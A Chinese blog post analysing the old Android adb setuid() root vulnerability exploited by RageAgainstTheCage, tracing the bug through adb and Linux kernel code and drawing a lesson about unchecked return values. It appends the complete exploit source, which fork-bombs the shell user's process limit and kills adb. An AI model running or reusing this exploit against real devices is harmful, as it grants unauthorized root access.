Android adb setuid提权漏洞的分析

作 者: Claud
时 间: 2011-07-07,13:03:41

链 接: http://bbs.pediy.com/showthread.php?t=136707


去年的Android adb setuid提权漏洞被用于各类root刷机,漏洞发现人 Sebastian Krahmer 公布的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用于z4root等提权工具、Trojan.Android.Rootcager等恶意代码之中。下面我们来分析这一漏洞的产生原因。

The Android Exploid Crew小组在后来发布了一份PoC代码: rageagainstthecage.c 。从这份代码开始着手。

在main(:72)函数中,首先获取了RLIMIT_NPROC的值(:83),这个值是Linux内核中定义的每个用户可以运行的最大进程数。

然后,调用find_adb()函数(:94)来搜索Android系统中adb进程的PID,具体而言,该函数读取每个进程对应的文件的/proc/<pid>/cmdline,根据其是否等于”/sbin/adb”来判断是否adb进程。

接下来,fork了一个新的进程(:109),父进程退出,而子进程继续。接下来,在113行创建一个管道。

rageagainstthecage.c
代码:
if (fork() > 0)
    exit(0);
 
setsid();
pipe(pepe);
重头戏发生在下面的122到138行,代码如下:

rageagainstthecage.c
代码:
if (fork() == 0) {
    close(pepe[0]);
    for (;;) {
        if ((p = fork()) == 0) {
            exit(0);
        } else if (p < 0) {
            if (new_pids) {
                printf("\n[+] Forked %d childs.\n", pids);
                new_pids = 0;
                write(pepe[1], &c, 1);
                close(pepe[1]);
            }
        } else {
            ++pids;
        }
    }
}
新建一个进程后,在子进程之中,exploit代码不断地fork()(:125),而新的子进程不断退出,从而产生大量的僵尸进程(占据shell用户的进程数)。最终,进程数达到上限,fork()返回小于0,于是打印当前已经创建多少子进程,并向管道输入一个字符(:131)。

在这里,管道的作用是和(:122)fork出来的父进程同步,该进程在141行read这一管道,因而阻塞直至僵尸进程已经达到上限(:131)。

进一步的,exploit杀掉adb进程,并在系统检测到这一现象并重启一个adb之前,再一次fork(),将前一个adb留下的进程空位占据。最后,在152行,exploit调用wait_for_root_adb(),等待系统重启一个adb,这个新建的adb就会具有root权限。

为什么在shell用户的进程数达到上限RLIMIT_NPROC以后,新建的adb会具有root权限?我们来看adb的源码。

在<android_src>/system/core/adb/adb.c的第918行,我们可以看到如下代码:

android_src/system/core/adb/adb.c
代码:
/* then switch user and group to "shell" */
if (setgid(AID_SHELL) != 0) {
    exit(1);
}
if (setuid(AID_SHELL) != 0) {
    exit(1);
}
这已经是漏洞修补以后的代码。在漏洞最初被发现时,代码如下:

android_src/system/core/adb/adb.c
代码:
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
简而言之,原来没有检查setuid()函数的返回值。事实上,在此之前,adb.c中的代码都是以root权限运行,以完成部分初始化工作。在这一行,通过调用setuid()将用户从root切换回shell,但setuid()在shell用户进程数达到上限RLIMIT_NPROC时,会失败,因此adb.c继续以root身份运行,而没有报错。

我们来看setuid()的man手册(man 2 setuid),其中有如下说明:

man 2 setuid
代码:
RETURN VALUE
       On  success,  zero is returned.  On error, -1 is returned, and errno is
       set appropriately.
 
ERRORS
       EAGAIN The uid does not match the current uid and  uid  brings  process
              over its RLIMIT_NPROC resource limit.
可以看到,setuid是可能发生错误的,并且在uid的进程数超过RLIMIT_NPROC极限时,发生EAGAIN错误。

在android的源码中,setuid()定义于<android_src>/bionic/libc/unistd/setuid.c,实际上引用了一个外部符号__setuid,这个符号在<android_src>/bionic/libc/arch_xxx/syscalls/__setuid.S中定义,最终是一个%eax=$__NR_setuid32,%ebx=uid的int 0×80中断。

因为只是要分析原理,我们不再鏖战于Android,转而看向Linux内核。

在最新的kernel2.6中,setuid()位于kernel/sys.c的682行,其中,在697行,一切正常的情况下,它会调用set_user()来完成用户切换。

set_user()实现于同一文件的587行,其中一部分代码如下:

kernel/sys.c
代码:
if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
        new_user != INIT_USER) {
    free_uid(new_user);
    return -EAGAIN;
}
含义很明显,当目标用户的进程数达到上限,那系统就不能再将一个进程分配给它,因而返回-EAGEIN。然后再setuid()中,直接跳过后面的代码,而返回错误。

至此,整个漏洞的原理已经分析完毕。整理如下:

1、在Android的shell用户下,制造大量的僵尸进程,直至达到shell用户的进程数上限RLIMIT_NPROC;

2、kill当前系统中的adb进程,并再次占据其进程位置以保持达到上限;

3、系统会在一段时间后重启一个adb进程,该进程最初是root用户,在完成少许初始化工作后,调用setuid()切换至shell用户;

4、此时shell用户的进程数已经达到上限,所以setuid()失败,返回-1,并且用户更换没有完成,adb还是root权限;

5、adb没有检查setuid()的返回值,继续后续的工作,因此产生了一个具有root权限的adb进程,可以被用于与用户的下一步交互。

实际上,setuid在目标用户进程数达到RLIMIT_NPROC极限时返回错误,这一问题可能产生的安全隐患最早可以追溯到 2000年 。而在2006年,出现了真正利用这一编码问题的漏洞( CVE-2006-2607 )。

因此,这并不是一个全新的漏洞。我们可以得出几点结论:

1、函数返回值一直是忽略的对象,因为getuid()永远不会失败,程序员可能会认为setuid()也不会失败——至少没有遇到过,因此忽略了对返回值的检查。检查一个系统函数是否调用失败是一个常识,但又是很麻烦的事,如果为了省事而忽略,问题就可能产生了。

2、Android下的安全问题,很多并非全新的,而且个人判断将来还会有大量漏洞、恶意代码产生于传统思路,而作用于新的平台。面对这一新的平台,我们是否能抢先于攻击者做好防范准备,是一个需要我们思考和实践的问题。

---------------------------------------------------------------------


附rageagainstthecage.c源代码

[cpp]   view plain copy 在CODE上查看代码片 派生到我的代码片
  1. /* android 1.x/2.x adb setuid() root exploit 
  2.  * (C) 2010 The Android Exploid Crew 
  3.  * 
  4.  * Needs to be executed via adb -d shell. It may take a while until 
  5.  * all process slots are filled and the adb connection is reset. 
  6.  * 
  7.  * !!!This is PoC code for educational purposes only!!! 
  8.  * If you run it, it might crash your device and make it unusable! 
  9.  * So you use it at your own risk! 
  10.  */  
  11. #include <stdio.h>  
  12. #include <sys/types.h>  
  13. #include <sys/time.h>  
  14. #include <sys/resource.h>  
  15. #include <unistd.h>  
  16. #include <fcntl.h>  
  17. #include <errno.h>  
  18. #include <string.h>  
  19. #include <signal.h>  
  20. #include <stdlib.h>  
  21.   
  22.   
  23. void die(const char *msg)  
  24. {  
  25.     perror(msg);  
  26.     exit(errno);  
  27. }  
  28.   
  29. pid_t find_adb()  
  30. {  
  31.     char buf[256];  
  32.     int i = 0, fd = 0;  
  33.     pid_t found = 0;  
  34.   
  35.     for (i = 0; i < 32000; ++i) {  
  36.         sprintf(buf, "/proc/%d/cmdline", i);  
  37.         if ((fd = open(buf, O_RDONLY)) < 0)  
  38.             continue;  
  39.         memset(buf, 0, sizeof(buf));  
  40.         read(fd, buf, sizeof(buf) - 1);  
  41.         close(fd);  
  42.         if (strstr(buf, "/sbin/adb")) {  
  43.             found = i;  
  44.             break;  
  45.         }  
  46.         }  
  47.         return found;  
  48. }  
  49.   
  50.   
  51. void restart_adb(pid_t pid)  
  52. {  
  53.     kill(pid, 9);  
  54. }  
  55.   
  56.   
  57. void wait_for_root_adb(pid_t old_adb)  
  58. {  
  59.     pid_t p = 0;  
  60.   
  61.     for (;;) {  
  62.         p = find_adb();  
  63.         if (p != 0 && p != old_adb)  
  64.             break;  
  65.         sleep(1);  
  66.     }  
  67.     sleep(5);  
  68.     kill(-1, 9);  
  69. }  
  70.   
  71.   
  72. int main(int argc, char **argv)  
  73. {  
  74.     pid_t adb_pid = 0, p;  
  75.     int pids = 0, new_pids = 1;  
  76.     int pepe[2];  
  77.     char c = 0;  
  78.     struct rlimit rl;  
  79.   
  80.     printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");  
  81.     printf("[*] checking NPROC limit ...\n");  
  82.   
  83.     if (getrlimit(RLIMIT_NPROC, &rl) < 0)  
  84.         die("[-] getrlimit");  
  85.   
  86.     if (rl.rlim_cur == RLIM_INFINITY) {  
  87.         printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");  
  88.         exit(1);  
  89.     }  
  90.   
  91.     printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);  
  92.     printf("[*] Searching for adb ...\n");  
  93.   
  94.     adb_pid = find_adb();  
  95.   
  96.     if (!adb_pid)  
  97.         die("[-] Cannot find adb");  
  98.   
  99.     printf("[+] Found adb as PID %d\n", adb_pid);  
  100.     printf("[*] Spawning children. Dont type anything and wait for reset!\n");  
  101.     printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"  
  102.            "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"  
  103.            "[*] If you are a company and feel like you profit from our work,\n"  
  104.            "[*] we also accept donations > 1000 USD!\n");  
  105.     printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");  
  106.   
  107.     sleep(5);  
  108.   
  109.     if (fork() > 0)  
  110.         exit(0);  
  111.   
  112.     setsid();  
  113.     pipe(pepe);  
  114.   
  115.     /* generate many (zombie) shell-user processes so restarting 
  116.      * adb's setuid() will fail. 
  117.      * The whole thing is a bit racy, since when we kill adb 
  118.      * there is one more process slot left which we need to 
  119.      * fill before adb reaches setuid(). Thats why we fork-bomb 
  120.      * in a seprate process. 
  121.      */  
  122.     if (fork() == 0) {  
  123.         close(pepe[0]);  
  124.         for (;;) {  
  125.             if ((p = fork()) == 0) {  
  126.                 exit(0);  
  127.             } else if (p < 0) {  
  128.                 if (new_pids) {  
  129.                     printf("\n[+] Forked %d childs.\n", pids);  
  130.                     new_pids = 0;  
  131.                     write(pepe[1], &c, 1);  
  132.                     close(pepe[1]);  
  133.                 }  
  134.             } else {  
  135.                 ++pids;  
  136.             }  
  137.         }  
  138.     }  
  139.   
  140.     close(pepe[1]);  
  141.     read(pepe[0], &c, 1);  
  142.   
  143.   
  144.     restart_adb(adb_pid);  
  145.   
  146.     if (fork() == 0) {  
  147.         fork();  
  148.         for (;;)  
  149.             sleep(0x743C);  
  150.     }  
  151.   
  152.     wait_for_root_adb(adb_pid);  
  153.     return 0;  
  154. }  


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值